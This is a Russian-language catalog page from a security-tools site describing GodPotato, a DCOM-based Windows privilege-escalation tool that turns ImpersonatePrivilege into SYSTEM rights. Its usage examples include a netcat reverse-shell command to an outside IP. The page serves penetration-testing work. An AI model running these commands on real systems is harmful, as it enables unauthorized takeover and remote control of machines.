Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
GodPotato — Инструмент повышения привилегий на основе DCOM для Windows Server 2012-2022 и Windows 8-11, повышающий права пользователей с ImpersonatePrivilege до NT AUTHORITY\SYSTEM через уязвимость rpcss oxid | Kitploit
Инструменты/GitHubGitHub/beichendream/godpotato
Повышение привилегийЭксплуатацияПост-эксплуатацияТестирование на Проникновение
GitHubbeichendream/godpotato

GodPotato

Инструмент повышения привилегий на основе DCOM для Windows Server 2012-2022 и Windows 8-11, повышающий права пользователей с ImpersonatePrivilege до NT AUTHORITY\SYSTEM через уязвимость rpcss oxid

Репозиторий
2.3k273292 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

GodPotato

Основываясь на истории повышения привилегий Potato за 6 лет, от RottenPotato до JuicyPotatoNG, я обнаружил новую технологию, исследуя DCOM, которая позволяет повышать привилегии в Windows 2012 - Windows 2022. Теперь, пока у вас есть разрешение "ImpersonatePrivilege", вы становитесь "NT AUTHORITY\SYSTEM". Обычно веб-сервисы и службы баз данных имеют разрешения "ImpersonatePrivilege".

Повышение привилегий Potato обычно используется, когда мы получаем привилегии веб-служб/баз данных. Мы можем повысить привилегии пользователя службы с низкого уровня до "NT AUTHORITY\SYSTEM". Однако исторические Potato не могут работать на новейших системах Windows. Исследуя DCOM, я нашел новый метод, позволяющий выполнять повышение привилегий. В rpcss есть некоторые дефекты при обработке oxid, и rpcss — это служба, которая обязательно должна быть открыта системой. Поэтому она может работать практически на любой ОС Windows. Я назвал его GodPotato.

Затронутые версии

Windows Server 2012 - Windows Server 2022 Windows8 - Windows 11

Пример

root@kitploit:~

    FFFFF                   FFF  FFFFFFF
   FFFFFFF                  FFF  FFFFFFFF
  FFF  FFFF                 FFF  FFF   FFF             FFF                  FFF
  FFF   FFF                 FFF  FFF   FFF             FFF                  FFF
  FFF   FFF                 FFF  FFF   FFF             FFF                  FFF
 FFFF        FFFFFFF   FFFFFFFF  FFF   FFF  FFFFFFF  FFFFFFFFF   FFFFFF  FFFFFFFFF    FFFFFF
 FFFF       FFFF FFFF  FFF FFFF  FFF  FFFF FFFF FFFF   FFF      FFF  FFF    FFF      FFF FFFF
 FFFF FFFFF FFF   FFF FFF   FFF  FFFFFFFF  FFF   FFF   FFF      F    FFF    FFF     FFF   FFF
 FFFF   FFF FFF   FFFFFFF   FFF  FFF      FFFF   FFF   FFF         FFFFF    FFF     FFF   FFFF
 FFFF   FFF FFF   FFFFFFF   FFF  FFF      FFFF   FFF   FFF      FFFFFFFF    FFF     FFF   FFFF
  FFF   FFF FFF   FFF FFF   FFF  FFF       FFF   FFF   FFF     FFFF  FFF    FFF     FFF   FFFF
  FFFF FFFF FFFF  FFF FFFF  FFF  FFF       FFF  FFFF   FFF     FFFF  FFF    FFF     FFFF  FFF
   FFFFFFFF  FFFFFFF   FFFFFFFF  FFF        FFFFFFF     FFFFFF  FFFFFFFF    FFFFFFF  FFFFFFF
    FFFFFFF   FFFFF     FFFFFFF  FFF         FFFFF       FFFFF   FFFFFFFF     FFFF     FFFF


Аргументы:

        -cmd Обязательно:True Командная строка (по умолчанию cmd /c whoami)

Пример:

GodPotato -cmd "cmd /c whoami"

Используйте встроенный Clsid программы для повышения привилегий и выполнения простой команды

root@kitploit:~
GodPotato -cmd "cmd /c whoami"

Настройте Clsid и выполните команду

root@kitploit:~
GodPotato -cmd "cmd /c whoami"

Выполните команду обратной оболочки

root@kitploit:~
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"

Благодарности

zcgonvh

skay

Лицензия

Apache License 2.0

Скачать инструмент